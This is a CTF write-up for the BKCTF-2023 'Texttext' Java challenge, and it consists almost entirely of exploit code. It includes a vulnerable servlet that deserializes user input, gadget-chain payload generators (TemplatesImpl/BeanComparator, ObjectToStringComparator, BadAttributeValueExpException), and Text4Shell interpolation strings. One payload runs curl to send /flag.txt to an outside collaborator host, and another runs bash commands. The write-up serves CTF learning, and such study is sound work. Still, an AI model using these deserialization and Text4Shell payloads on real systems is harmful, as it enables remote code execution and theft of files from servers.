BKCTF-2023 Ctf Writeup - Texttext - Java deser exploit Text4Shell

FROM tomcat:9.0.70-jre8

RUN rm -rf /usr/local/tomcat/webapps/ROOT/
COPY flag.txt /flag.txt
COPY challenge/text.war /usr/local/tomcat/webapps/text.war
COPY config/tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml

RUN sed -i 's|8080|1337|g' /usr/local/tomcat/conf/server.xml

CMD ["catalina.sh", "run"]

EXPOSE 1337

package com.text.controller;

/* import .... */

@WebServlet(
    urlPatterns = {"/get-name"}
)
public class PlayerController extends HttpServlet implements Serializable {
    public PlayerController() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        String player = req.getParameter("player");

        try {
            byte[] data = Base64.getDecoder().decode(player);
            InputStream is = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(is);
            Object obj = ois.readObject();
            ois.close();
            Player user = (Player)obj;
            out.println("<h1> Hello: " + user.getName() + " !</h1>");
        } catch (Exception var10) {
            out.println("<h1> ????????? </h1>");
        }

    }
}

package com.text.controller;

import java.io.Serializable;
import org.apache.commons.text.StringSubstitutor;

public class Player implements Serializable {
    private String name = "player";
    private boolean isAdmin;

    public Player() {
    }

    public String getName() {
        return this.name;
    }

    public boolean isAdmin() {
        return this.isAdmin;
    }

    public String toString() {
        String output = "";
        if (this.isAdmin()) {
            try {
                StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
                output = stringSubstitutor.replace(this.name);
            } catch (Exception var3) {
                output = "???????";
            }
        }

        return "Hello" + output + "!";
    }
}

package summersec.shirodemo.Payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

// ... truncated

public byte[] getPayload(byte[] clazzBytes) throws Exception {
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

    AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");

    final BeanComparator comparator = new BeanComparator(null, new AttrCompare());
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(attrNS1);
    queue.add(attrNS1);

    setFieldValue(comparator, "property", "outputProperties");
    setFieldValue(queue, "queue", new Object[]{obj, obj});

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();

    return barr.toByteArray();
}

PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                BeanComparator.compare()

import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.text.controller.Player;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import static ysoserial.payloads.util.Reflections.setFieldValue;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.PriorityQueue;


public class Main {

    private static void deserMe(String player) { // testing purpose
        try {
            byte[] data = Base64.getDecoder().decode(player);
            InputStream is = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(is);
            Object obj = ois.readObject();
            ois.close();
            Player user = (Player)obj;
            System.out.println("<h1> Hello: " + user.getName() + " !</h1>");
        } catch (Exception var10) {
            System.out.println("<h1> ????????? </h1>");
        }
    }

    public static void main(String[] args) {
        try {
            String name = "${script:js:new java.lang.ProcessBuilder(\"curl\",\"r1t8ync67yj303id7vmfs35wyn4gs8gx.oastify.com\",\"-d\",\"@/flag.txt\").start()}";

            // dùng java reflection để khởi tạo Player object, set các private fields
            Class<?> clazz = Class.forName("com.text.controller.Player");
            Object obj = clazz.newInstance();
            Field f1 = obj.getClass().getDeclaredField("name");
            f1.setAccessible(true);
            f1.set(obj, name);
            Field f2 = obj.getClass().getDeclaredField("isAdmin");
            f2.setAccessible(true);
            f2.set(obj, true);

            // build gadget chain gọi đến ObjectToStringComparator#compare()
            AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");
            final ObjectToStringComparator comparator = new  ObjectToStringComparator();
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
            // stub data for replacement later
            queue.add(attrNS1);
            queue.add(attrNS1);

            setFieldValue(queue, "queue", new Object[]{obj, obj}); // Player#toString

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();

            byte[] bytes = barr.toByteArray();
            String a =  Base64.getEncoder().encodeToString(bytes);
            String b = URLEncoder.encode(a, StandardCharsets.UTF_8.toString());
            System.out.println(b);

            // deserMe(a);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Player player = new Player();
Field isAdmin = Player.class.getDeclaredField("isAdmin");
isAdmin.setAccessible(true);
isAdmin.setBoolean(player, true);
Field name = Player.class.getDeclaredField("name");
name.setAccessible(true);
name.set(player, "${script:javascript:java.lang.Runtime.getRuntime().exec(['/bin/bash', '-c', 'touch /tmp/zzzzz'])}");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, player);